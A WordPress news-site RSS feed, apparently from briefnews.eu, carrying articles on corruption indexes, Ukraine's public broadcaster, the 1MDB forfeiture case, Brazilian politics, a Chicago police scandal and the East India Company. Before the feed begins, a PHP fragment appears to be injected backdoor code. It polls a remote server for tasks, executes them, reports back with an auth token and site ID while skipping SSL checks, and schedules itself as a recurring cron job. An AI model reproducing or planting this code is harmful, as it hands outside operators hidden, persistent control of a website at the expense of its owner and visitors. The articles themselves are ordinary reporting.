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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); corrupt – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 25 Feb 2018 07:13:59 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png corrupt – Brief News https://briefnews.eu 32 32 These are the 20 least corrupt countries on earth https://briefnews.eu/these-are-the-20-least-corrupt-countries-on-earth/ https://briefnews.eu/these-are-the-20-least-corrupt-countries-on-earth/#respond Sun, 25 Feb 2018 07:13:59 +0000 http://briefnews.eu/these-are-the-20-least-corrupt-countries-on-earth/ reykjavikDennis van de Water/Shutterstock

Transparency International on Wednesday published its latest Corruption Perceptions Index, a global ranking of fairness around the world.

The ranking of 180 countries is based on the level of public sector corruption in 2017, according to businesspeople, journalists, and civic organisations.

Higher-ranked countries tend to have more press freedom, access to information about public spending, and independent judicial systems.

Countries are given a score out of 100, with those scoring highly being the least corrupt. Keep scrolling to see the list, which is ranked in ascending order.

Here’s a map of the countries on the index — darker red means more corrupt.

Transparency International

20. Japan — 73

Kim Kyung-Hoon/Reuters

19. Ireland — 74

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]]> https://briefnews.eu/these-are-the-20-least-corrupt-countries-on-earth/feed/ 0 The most corrupt countries in the world – does the UK make the list? https://briefnews.eu/the-most-corrupt-countries-in-the-world-does-the-uk-make-the-list/ https://briefnews.eu/the-most-corrupt-countries-in-the-world-does-the-uk-make-the-list/#respond Fri, 23 Feb 2018 00:57:18 +0000 http://briefnews.eu/the-most-corrupt-countries-in-the-world-does-the-uk-make-the-list/

The most corrupt countries have been revealed in a new study.

The annual Corruption Percept Index analyses 180 countries, on how they are perceived by the public sector.

They are ranked from zero to 100, with 100 being the least corrupt.

But where does the UK come? Thankfully the country has improved from last year.

The least corrupt countries were found to be New Zealand and Denmark, with a ranking of 89 and 88, respectively.

They were closely followed by Finland, Norway and Switzerland who came in joint third, followed by Singapore and Sweden in joint fourth.

Thankfully the UK was next in the list, coming in at fifth along with Canada, Luxembourg, Netherlands and Germany.

The United Kingdom had a score of 82, an increase from their score of 74 in 2012.

The report states that the UK has “significantly improved” in recent years.

Yet despite the improvement, it also warned that countries are “moving too slowly in their efforts” with many countries making “little to no progress”.

Patricia Moreira, managing director of Transparency International commented: “Smear campaigns, harassment, lawsuits and bureaucratic red tape are all tools used by certain governments in an effort to quiet those who drive anti-corruption efforts.

“We’re calling on those governments that hide behind restrictive laws to roll them back immediately and allow for greater civic participation.”

The least corrupt countries

1. New Zealand

2. Denmark

3. Finland/Norway/Switzerland

4. Singapore/Sweden

5. United Kingdom/Canada/Luxembourg/ Netherlands

6. Germany

7. Australia/Hong Kong/ Iceland

8. US, Austria, Belgium

9. Ireland

10. Japan

The most corrupt countries

1. Somalia

2. South Sudan

3. Syria

4. Afghanistan

5. Yemen/Sudan

6. North Korea/Equatorial Guinea/Guinea Bissau/ Libya

7. Iraq/Venezuela

8. Angola/Turkmenistan

9. Eritrea/Chad

10. DRC/Congo/Cambodia/Tajikistan

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]]> https://briefnews.eu/the-most-corrupt-countries-in-the-world-does-the-uk-make-the-list/feed/ 0 The Maverick Media Mogul Taking On Ukraine's Corrupt System https://briefnews.eu/the-maverick-media-mogul-taking-on-ukraines-corrupt-system/ https://briefnews.eu/the-maverick-media-mogul-taking-on-ukraines-corrupt-system/#respond Wed, 21 Jun 2017 04:52:24 +0000 http://briefnews.eu/the-maverick-media-mogul-taking-on-ukraines-corrupt-system/ For someone tasked with breathing life into Ukrainian public broadcasting, Zurab Alasania has a peculiar view of service-oriented journalism. “It’s like broccoli,” the sturdy, ethnic Georgian says over coffee. “It may not taste good, but it’s nutritious.”

Then again, not much about Alasania, 52, is what you’d call ordinary. Tapped in April to lead the fledgling Public Broadcasting Company of Ukraine (UA:PBC), he has built a reputation as an outspoken, fiercely independent media manager in a country trying to shake off its corrupt and authoritarian past. That he’s also an avid biker — who arrived for the interview in Kiev’s leafy center dressed in black astride a massive cruiser motorcycle — reinforces Alasania’s image as an outlier.

But he may be exactly what’s needed to turn a stodgy, bloated state broadcaster into an efficient, hard-hitting journalism machine. In the years since the 2014 Maidan revolution ousted a corrupt, pro-Russian government, the country’s leaders have come under increasing criticism for failing to produce enough meaningful reforms. Ukraine ranks a disheartening 131 out of 176 countries in Transparency International’s most recent Corruption Perceptions Index. While free speech is more prevalent here than in many other ex-Soviet countries, it’s far from a model for high-quality, independent journalism.

Zurab Alasania

What’s more, much of Ukraine’s media landscape is dominated by shadowy, politically connected oligarchs. “Major media in this country are no longer part of the advertising and subscription cycles, but have become part of the political corruption cycle,” says Yevhen Hlibovytsky, a Ukrainian media expert and a friend of Alasania’s.

Alasania faces an uphill battle in turning UA:PBC into a fully professional outlet with the news sense of the BBC or the in-depth documentary know-how of PBS. Both local and European officials see the launch of the broadcaster as a bellwether for broader reform in Ukraine, which could get a boost from Alasania’s straight-shooting approach. “Some people are sitting out there in the East, manning the defenses,” Alasania says, referring to Ukraine’s ongoing war with Russian-backed separatists. “Here, someone has to take this particular responsibility into their hands.”

If Alasania stumbles, he risks discrediting the entire idea of public television.

Born in Soviet Georgia in the mid-1960s, Alasania moved from the Black Sea port of Sukhumi to the eastern Ukrainian city of Kharkiv to attend university. The engineering student graduated two years before the Soviet Union collapsed in 1991, and, like many of his peers, was thrust into a new socioeconomic reality overnight. He hopped from one job to the next, including olive-packing and construction in Greece, to make ends meet.

Those early years shaped him into something of a fighter — a notion made literal during his stint in the French Foreign Legion. The experience, he says, helped to impart a rigid management style for which he’s become known: “You always had someone telling you exactly what to do. You didn’t think; you just fulfilled your duty.” Shortly after returning to Kharkiv in 1996, he fell into journalism by chance, working for local TV stations before launching a successful news agency in 2006. Later, he helped establish an online television network based in Kiev that’s become one of the country’s leading sources of unbiased news.

Alasania joined UA:PBC shortly before it was first cobbled together from the remnants of the country’s main state-run broadcaster, the National Television Company of Ukraine, in 2015. But he quit in a fury last November after the government ordered his agency to foot a $ 17 million bill for the annual Eurovision Song Contest, which took place in Kiev in May at more than double the original cost. UA:PBC was officially registered in January, and civic activists rejoiced at Alasania’s return after he was elected by the company’s supervisory board in April.

His first order of business? Streamlining production by modernizing the company’s outdated technology and, by default, eliminating roughly half of the 7,000 in staff. Then comes the hard part: training UA:PBC’s journalists to chase original, meaningful stories across a country of 45 million people that go beyond the political scandals in Kiev. “They should be digging around the regions, seeing what local judges and prosecutors are up to,” he says.

Zurab Alasania

Hlibovytsky believes Alasania can shake up a stagnant institution and turn it into a competitive player in Ukraine’s media market. But it won’t happen without controversy. “At a certain point, you understand that you’re dealing with someone who is not afraid of things that other people are afraid of,” he says, referring to Alasania’s determination to disrupt the old system.

Others believe his management style is bound to invite trouble, especially in a country beholden to bureaucracy and where ambitious outsiders like Alasania face enormous resistance in trying to change the rules. “I’d like for public television to be led not only by enthusiasts, but by good managers,” says Vadim Karasyov, a Kiev-based political analyst. Whether the dogged media manager can succeed in his new post remains to be seen. Karasyov adds that if Alasania stumbles, he risks discrediting the entire idea of public television.

Harder still will be convincing Ukrainians that watching public service television is worthwhile. Viewers are long accustomed to what Alasania calls low-quality content from the state broadcaster: dull, uncritical coverage of official press conferences and cheesy pop concerts. By contrast, most of the country’s top TV channels boast sleek productions and flashy stories that keep audiences entertained, but not always politically well-informed.

The political stories that generate headlines often serve the interests of the station owners, who control various influence groups in Parliament that vote on legislation affecting their business. As Alasania brings his take-no-prisoners approach to such an entrenched system, he’ll need to arm himself with more than just broccoli.

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]]> https://briefnews.eu/the-maverick-media-mogul-taking-on-ukraines-corrupt-system/feed/ 0 Corrupt & Corrupter: US govt seeks rights to ‘Dumb & Dumber To’ from Malaysia’s 1MDB fund https://briefnews.eu/corrupt-corrupter-us-govt-seeks-rights-to-dumb-dumber-to-from-malaysias-1mdb-fund/ https://briefnews.eu/corrupt-corrupter-us-govt-seeks-rights-to-dumb-dumber-to-from-malaysias-1mdb-fund/#respond Fri, 16 Jun 2017 01:31:44 +0000 http://briefnews.eu/corrupt-corrupter-us-govt-seeks-rights-to-dumb-dumber-to-from-malaysias-1mdb-fund/ The Justice Department is going Hollywood as a way to recover $ 540 million in assets that the US government says were stolen from Malaysia’s troubled state fund. The DOJ is seeking to acquire the rights to movies linked to fraud as part of a corruption probe.

On Thursday, the DOJ announced it was filing civil forfeiture complaints to recover about $ 540 million in assets “associated with an international conspiracy to launder funds misappropriated from a Malaysian sovereign wealth fund.” The fund, known as 1Malaysia Development Berhad (1MDB), was created by the Malaysian government to promote economic development in the country.

The Justice Department accuses officials at 1MDB, their relatives and associates, of being part of a conspiracy to divert more than $ 4.5 billion from the government fund, laundering the money through a series of complex transactions and shell companies with bank accounts around the world, including in the US.

“These cases involve billions of dollars that should have been used to help the people of Malaysia, but instead was used by a small number of individuals to fuel their astonishing greed,” Acting US Attorney Sandra Brown said in a statement.

“The misappropriation of 1MDB funds was accomplished with an extravagant web of lies and bogus transactions,” she continued. “We simply will not allow the United States to be a place where corrupt individuals can expect to hide assets and lavishly spend money that should be used for the benefit of citizens of other nations.”

As part of those civil forfeiture complaints, the DOJ hopes to acquire the rights to several films, most notably for “Dumb and Dumber To,” the sequel to the infamous 1994 Jim Carrey and Jeff Daniels comedy. The company that produced that film, Red Granite Pictures, was named in the government’s complaint.

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Red Granite is accused of using money to make “Dumb and Dumber To” with money traceable to foreign corruption. The company’s CEO, Riza Aziz, is the stepson of Malaysian Prime Minister Najib Razak, who is believed to be the mastermind behind the money-laundering. Other movies by Red Granite that were mentioned in Thursday’s and in previous complaints include “Daddy’s Home” and “The Wolf of Wall Street.”

The embezzlement reportedly began in 2009, when 1MDB officials used approximately $ 1 billion meant to be invested to exploit energy concessions to instead buy art, jewelry, real estate and yachts, as well as to pay gambling expenses and hire musicians and celebrities to attend parties.

In 2014, 1MDB borrowed more than $ 1.2 billion from banks, and $ 850 million of that money was instead diverted to offshore shell companies. That money, along with money previously stolen or laundered, was used to buy, among other things, a “300 foot luxury yacht valued at over $ 260 million, certain movie rights, high-end properties, tens of millions of dollars of jewelry, and artwork,” the DOJ complaint said.

Other assets that the US government is looking to seize, as part of its Kleptocracy Asset Recovery Initiative, include a rare movie poster of “Metropolis” purchased by Aziz for $ 1.2 million in October 2012 and artwork gifted to actor Leonardo DiCaprio ‒ specifically a Pablo Picasso painting purchased for $ 3.28 million, a photograph by Diane Arbus purchased for $ 750,000 and a Jean-Michel Basquiat collage purchased for $ 9.19 million.

Jho Low, a Malaysian financier and close associate of Aziz, is believed to have bought the Arbus and the Basquiat, while Eric Tan, an associate of Low, is believed to have bought the Picasso.

DiCaprio has voluntarily surrendered an Oscar awarded to Marlon Brando to the US government given to him by Red Granite, as well as the three pieces of art, according to the Hollywood Reporter. The actor starred in “The Wolf of Wall Street.” He has been cooperating with the DOJ since July 2016.

“Prior to the government’s filing of the civil pleading today, Mr. DiCaprio initiated return of these items, which were received and accepted by him for the purpose of being included in an annual charity auction to benefit his eponymous foundation,” DiCaprio’s spokesperson said in a statement. “Mr. DiCaprio is grateful for the support of the government in this effort and continues to hope that justice is done in this matter.”

President Donald Trump reportedly has debts to both the Bank of China and Goldman Sachs, who have been subpoenaed by the DOJ over dealings with Malaysian state fund 1MDB.

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]]> https://briefnews.eu/corrupt-corrupter-us-govt-seeks-rights-to-dumb-dumber-to-from-malaysias-1mdb-fund/feed/ 0 Could This Man End Brazil's Corrupt Political Culture? https://briefnews.eu/could-this-man-end-brazils-corrupt-political-culture/ https://briefnews.eu/could-this-man-end-brazils-corrupt-political-culture/#respond Mon, 22 May 2017 04:42:09 +0000 http://briefnews.eu/could-this-man-end-brazils-corrupt-political-culture/ During Carnival, millions take to the streets in Brazil to forget their woes and party. This past February, however, there were shouts of “Fora Temer!” (Temer out!) — a familiar cry from Brazilians fed up with President Michel Temer’s government, but coming from revelers, it was a sign of just how outraged citizens have become with what they see as a corrupt political system and deep economic woes. Now there are calls to impeach Temer in the wake of reports alleging he arranged for hush money to pay off an associate jailed as part of the Petrobas corruption scandal.

Enter José Reguffe, 44, a senator elected in 2006 with no party affiliation who is connecting to disillusioned middle-class voters with his plans for political and economic reform. Offering relief from Brazil’s bloated and crisis-ridden political scene, he has reduced his staff from 55 to 12, taken a personal pay cut and launched a raft of proposals, from slashing senators’ office expenses by 50 percent to requiring government departments to provide online, itemized details of expenditures.

In addition, Reguffe has proposed reducing corporate taxes — among the most expensive in the world, at around 34 percent — and streamlining the notoriously complex tax process, which can take months or even years to master. He would also prevent politicians from being re-elected more than once. “Being a politician should be a service, not a profession,” he says. This is particularly critical in a country where, according to the NGO Transparencia Brasil, 49 percent of federal congressmen elected in 2014 came from political dynasties. By contrast, Reguffe earned an economics degree from the University of Brasilia, studied journalism at the Institute of Superior Education, also in Brasilia, and then hosted a news program on Brasilia’s TV Apoio for four years. Speaking in sound bites, he can at times appear more scripted presenter than impassioned public servant.

Senator Jose Reguffe

A native of Rio de Janeiro, Reguffe spent most of his childhood in the capital, Brasilia, after his military father was stationed there, and he considers it home. Soft-spoken and unassuming, he attends weekly services at a Catholic church and prefers to pass the Carnival festivities at home with his wife and 1-year-old son. His mild temperament — and habit of personally distributing campaign pamphlets in the streets of Brasilia — shaped his reputation as a different breed from the old-school political class. “Most enter [politics] to represent interests, theirs or others, and for some it is a vocation,” he says. “For me, it was indignation. Brazil needs deep political reform, and a government that serves its population: honest, serious and efficient.”

From the murk of crisis, Reguffe sees opportunity for far-reaching reform.

Brazil is a country in trouble. It ranked 79th out of 176 countries on Transparency International’s 2016 corruption list, and an investigation at state oil firm Petrobras, known as Operation Car Wash, has engulfed construction firm bosses and politicians. The scandal rocked the economy, breaking just as oil prices started to slide. Following the impeachment of President Dilma Rousseff last August, interim president Michel Temer’s austerity measures have yet to kick-start the struggling economy, though markets have buoyed slightly. Waves of street protests are fueled by anger over ministers in Temer’s government facing corruption accusations — just like previous government officials. Meanwhile, unemployment in Brazil reached an all-time high of 13.7 percent in March. With protesters connecting their country’s political graft to its failing economy, it’s no surprise a 2016 Ipsos poll found 77 percent of Brazilians do not trust any political party. From the murk of crisis, Reguffe sees opportunity for far-reaching reform. “Operation Car Wash is one of the best things to happen in Brazil in recent years,” he says. Brazil’s attorney general Rodrigo Janot agrees: He believes the investigation will help put an end to the country’s endemic corruption.

With his bland suits and careful, deliberate delivery — in contrast to the flashier, grandstanding members of Brazil’s Congress — Reguffe is the picture of modesty and simplicity. And it’s no accident: These are the very traits he hopes to extend to Brazilian institutions. Yet Reguffe’s version of anti-politics is seen by many as essentially conservative. He voted to impeach former president Dilma Rousseff for violating budget rules — insisting “a government that does what it wants is a dictatorship” — despite claims from the left the impeachment was in effect a political coup by the right.

In theory, though, Reguffe’s independence should make him immune to the dealmaking that has characterized Brazilian coalition politics. But effecting fundamental changes, such as abolishing compulsory voting in general elections, which he believes makes politicians complacent, is a huge challenge for a senator with no party affiliation. Without a major party apparatus behind them — or their own source of wealth, experts say — politicians can find their proposals hampered and their chances of being elected stymied. “It’s very hard for someone who is not in one of the big parties to have any chance of winning,” explains Joao Feres, a political scientist at Rio de Janeiro State University. And while it’s fairly common for Brazilian politicians to swap parties and spend brief periods without affiliation, Reguffe is the country’s only independent, something else he wants to see change.

For Rodrigo Magalhaes, who, like Reguffe, graduated from the University of Brasilia, the senator’s proposals do nothing to tackle Brazil’s deep social problems. Politicians’ expenses, he says, is an ethical issue, not an economic one. Magalhaes, a professor at the Federal Rural University of Rio de Janeiro, points out that Reguffe recently voted for a law that will effectively freeze public spending for 20 years, punishing many of the poorest. He adds: “He doesn’t have a single proposal as to how to combat the mechanisms of influence of corporate and financial interests.” Reforms proposed by other groups to make funding of political parties more transparent were defeated in Congress this year.

Reguffe’s response is that he leads by example: Reducing his staff and salary has made more money available for health, education and security. “I am doing my part, no more, no less,” he says, in his familiar, self-effacing way. Cynics can take his modesty as affectation, while others wonder if a humble, self-contained approach like his can ever gain real traction or influence. For now, it remains to be seen whether “no more, no less” will be enough.

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]]> https://briefnews.eu/could-this-man-end-brazils-corrupt-political-culture/feed/ 0 The Women of Litchfield Fight a Common Enemy — the Corrupt System — in Season 5 Trailer https://briefnews.eu/the-women-of-litchfield-fight-a-common-enemy-the-corrupt-system-in-season-5-trailer/ https://briefnews.eu/the-women-of-litchfield-fight-a-common-enemy-the-corrupt-system-in-season-5-trailer/#respond Tue, 09 May 2017 19:18:18 +0000 http://briefnews.eu/the-women-of-litchfield-fight-a-common-enemy-the-corrupt-system-in-season-5-trailer/ Netflix already released the first minute-or-so of the fifth season of Orange Is the New Black last month, picking up where the gun-pointing cliffhanger of the fourth left off…and leaving us pretty much on the same cliffhanger. That was the first and last footage we’d seen of the anticipated upcoming blast of OITNB episodes, which will take place over the course of three days after the brutal and harrowing events at the end of Season 4 sparked a rebellion within Litchfield. Now, though, with the release of the full trailer for Season 5, you can get a glimpse at what will actually subsequently go down within the multifariously corrupt, mis-run, privatized women’s prison.

The trailer reveals snippets of what unfolds once the prisoners gain control of Litchfield, zooming in on what the likes of Taystee, Suzanne, Cindy, Red, Nichols, Morello, Flaca, Maritza, Alex, Mendoza, Piper, Big Boo, et al are up, as the power dynamics drastically shift, and in-fighting morphs into collectivization.

Danielle Brooks, whose character Taystee is shown taking a lead in the uprising in the trailer, told Gold Derby, “This season a grenade has gone off and Taystee pulled the pin. [Now], they are taking away having the guards and staff set up everything with the women’s lives and now the prisoners setting up a new dynamic.”

Taylor Schilling (Piper) recently spoke to the Hollywood Reporter about the season, which will be available to stream on Netflix on June 9; she said that “the collective stakes for the first time are heightened. Where everyone is dealing with the same crisis and has the same issue and in that, it’s really interesting to see alliances come together and what parts of people come to shine. It’s very cool to have everybody on the same mission together.”

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]]> https://briefnews.eu/the-women-of-litchfield-fight-a-common-enemy-the-corrupt-system-in-season-5-trailer/feed/ 0 Investigators are trying to figure out whether a corrupt Chicago cop tainted additional drug convictions https://briefnews.eu/investigators-are-trying-to-figure-out-whether-a-corrupt-chicago-cop-tainted-additional-drug-convictions/ https://briefnews.eu/investigators-are-trying-to-figure-out-whether-a-corrupt-chicago-cop-tainted-additional-drug-convictions/#respond Sat, 04 Mar 2017 00:52:12 +0000 http://briefnews.eu/investigators-are-trying-to-figure-out-whether-a-corrupt-chicago-cop-tainted-additional-drug-convictions/ Chicago PoliceGetty/Joshua Lott

Prosecutors from Cook County, Chicago are looking for additional cases of corruption surrounding a former Chicago police officer, the Chicago Tribune reported on Monday.

Prosecutors alleged that there may have been more compromised convictions involving Sgt. Ronald Watts and his subordinates stretching back almost 10 years — far more than the four drug convictions that were previously overturned.

The court has so far tossed out cases involving three defendants and awarded $ 2 million to two officers who said they were victimized after initiating their whistleblower lawsuit, in which they alleged they were “blackballed” for attempting to bring Watts’ alleged corruption to light, the newspaper reported.

Watts, a public housing officer, was known to extort protection money from drug dealers and framed cases on those who wouldn’t comply, Chicago Tribune reporter Jason Meisner wrote. He was arrested in 2012 by the FBI and pleaded guilty to stealing money from an informant. He was eventually sentenced to 22 months in prison, according to the Tribune.

“We know from law enforcement documents that Watts and his crew were accused of taking kickbacks on a weekly basis,” said attorney Josh Tepfer of the University of Chicago Law School’s Exoneration Project in an interview with the Tribune.

“It was clear as day that they were routinely framing individuals for crimes that they didn’t commit. And individuals at the highest levels of CPD were aware of this misconduct.”

Ben Baker, who served almost a decade in prison, was released last year. Lionel White, who pleaded guilty to a five-year sentence in order to prevent receiving a potential life sentence, maintained that he had been framed and had his conviction dismissed in December after being behind bars for 2 1/2 years.

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“There is little question that [those cases] barely scratch the surface of the wrongful arrests, prosecutions and convictions at the hands of an individual the Cook County State’s Attorney’s Office now acknowledges is a ‘dirty police officer,'” a November filing stated. “The interests of justice necessitate a full accounting of all the victims that have been harmed by wrongful conviction through the actions of these rogue Chicago police officers.”

Tepfer believed that the Watts case was the first time that the state’s attorney’s office was searching through convictions on its own personnel.

“We’re very pleased that they’ve decided to go forward,” Tepfer said, according to the Tribune. “It’s absolutely the right thing to do.”

“Whether they spent a year behind bars or five years, it was time taken out of society, time where they weren’t able to work, where they lost time with their family or weren’t able to live their life because they were framed,” he said.

“Every one of those individuals has the right to have their convictions overturned and the opportunity to get compensation from the state.”

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]]> https://briefnews.eu/investigators-are-trying-to-figure-out-whether-a-corrupt-chicago-cop-tainted-additional-drug-convictions/feed/ 0 Revealed: The real history of BBC hit Taboo's corrupt East India Company https://briefnews.eu/revealed-the-real-history-of-bbc-hit-taboos-corrupt-east-india-company/ https://briefnews.eu/revealed-the-real-history-of-bbc-hit-taboos-corrupt-east-india-company/#respond Wed, 15 Feb 2017 17:20:18 +0000 http://briefnews.eu/revealed-the-real-history-of-bbc-hit-taboos-corrupt-east-india-company/

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Tom Hardy takes on the corrupt East India Company in Taboo

The corporation remains one of the most powerful organisations in history, a key part of Britain’s colonial administration and a source of shame as a result of its violence and corruption. Here’s everything Taboo never told you about the company that the historian Lord Macaulay called “the greatest corporation in the world”.

1600: The Company of Merchants of London trading in the East Indies was granted a royal charter by Queen Elizabeth I. It was the first-ever limited liability company and had exclusive trading rights east of the Cape of Good Hope in Africa and west of the Straits of Magellan in South America.

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1608: Early attempts at establishing a relationship with the Mughal Empire in India were unsuccessful despite the efforts of William Hawkins, commander of a British ship, who impressed the Mughal emperor with his ability to drink huge amounts of wine.

1612: The East India Company set up its first permanent trading post in India in the town of Surat. Many more of these trading posts – known as factories – followed in places such as Bombay, Madras and Calcutta.

1623: The Dutch Governor of what is now Indonesia killed the local East India Company representative, nine other employees of the corporation and nine Japanese mercenaries. This encouraged the British to focus attentions on India where profits were booming.

1756: The Nawab of Bengal managed to overrun Fort William, the Company’s stronghold in Calcutta, with the use of 50,000 men and 500 elephants. 

Many of the British did not escape and 146 surrendered to the Indian forces. They were imprisoned in a cell measuring 18 feet by 14 feet 10 inches and with only two small windows – the so-called Black Hole of Calcutta. Their cries for help were ignored and when the door was opened the following morning only 23 were still alive. The dead were still on their feet, the room being so cramped they had no room to fall. 

One of the earliest Indian words to enter the English language was “loot”, the Hindustani slang for “plunder” as the East India Company systematically seized the treasures of the Mughal empire

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Jonathan Pryce as the head of the East India Company in the BBC hit

1757: After the Battle of Plassey, successfully fought by the East India Company over the Nawab of Bengal, the military leader Robert Clive (known as Clive of India) seized £2.5million from the defeated rulers of Bengal. 

Clive suffered from mental illness, now thought to be bipolar disorder. As leader of a gang of youths he had set up a protection racket in the town of Market Drayton in his native Shropshire. He was expelled from three schools and sent to India by his father who was desperate to get rid of him. 

A proportion of the loot of Bengal went directly into Clive’s pocket. He returned to Britain with a personal fortune – then valued at £234,000 – that made him the richest self-made man in Europe. 

It was the East India Company that coined the term “civil servant”. However, the Company’s operations in India were administered with a high level of corruption. Bribes were routinely handed out and officials often stole from the people they ruled. Torture by company officials was widespread both as a means of collecting tax revenue and a way of forcing Indians to comply with their efforts to maintain law and order in the colony. Techniques included beating people, tying them up and leaving them in the hot sun, suspending them from trees and cramming hot chillis into their noses. 

In many ways the East India Company was a model of efficiency. By the 18th century it had only 35 permanent employees in its head office yet the power it wielded was immense making companies such as Google and Amazon look puny in comparison.

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Robert Clive became the richest self-made man in Europe after defeating the rulers of Bengal

1772-1785: Warren Hastings (who had joined the East India Company as a humble clerk in 1750) served as the first GovernorGeneral of India. In an infamous attempt to extort extra taxes from the Raja of Benares he sent a handful of men to imprison the Raja in his home and claim the money. However the tax collectors were killed and the Raja escaped. Hastings then sent a larger force to get the money. Very little of the proceeds ever found its way into the Company’s coffers. 

In 1787 upon his return to Britain Hastings was impeached by parliament. His trial lasted seven years, the longest impeachment proceedings in history, before – astonishingly – he was acquitted of all charges.

1773: The government of the day passed the Tea Act which levied import taxes designed to increase the profitability of Chinese tea sold around the world by the Company. 

Anger at this led to the Boston Tea Party during which American patriots boarded three British ships and dumped 342 chests of tea overboard, an event that helped to spark the American Revolution.

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1803: The East India Company captured the Mughal capital of Delhi. By this stage, despite starting out with only a handful of troops deployed as security guards, it had built a private army of 260,000 soldiers – double the size of the British army. The Company’s warships were regarded as better than those of the Royal Navy and helped to win battles against enemies as powerful as the Portuguese. 

One of its directors described it as “an empire within an empire” and it took to describing itself as “the grandest society of merchants in the universe”. As well as creating a large administration in India it was also responsible for building much of London’s docklands and generated almost half of Britain’s trade. 

The East India Company became China’s main supplier of opium which it grew cheaply in Bengal.

1839-1842: The first Opium War, won by the British government with the help of the East India Company, was started when the Chinese Emperor confiscated and destroyed large amounts of opium. As part of the subsequent peace settlement China was forced to give up Hong Kong although opium remained illegal.

1856-60: The second Opium War ended with China agreeing to legalise the trade.

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The Indian Mutiny was the largest argest revolt faced by any Western colonial power

1857: The Indian Mutiny began when the people rose against the Company’s rule. This was started with the rumour that rifle cartridges – which had to be bitten open – were greased with either beef or pork fat, deeply offensive to Hindus and Muslims. 

It was the largest revolt faced by any Western colonial power and of the 139,000 sepoys employed by the Bengal army less than 8,000 remained loyal to the British. The Company restored order through brutal repression. All told, during the war and its aftermath, some 100,000 Indians were killed.

1858: The British government was appalled and removed the Company’s powers beginning the era of the Raj as the crown took direct control over the territories held by the East India Company.

1874: The Company was formally dissolved by an act of Parliament.

2005: An Indian businessman called Sanjiv Mehta bought the rights to the East India Company name. Already selling tea he is now planning to produce branded gin as well.

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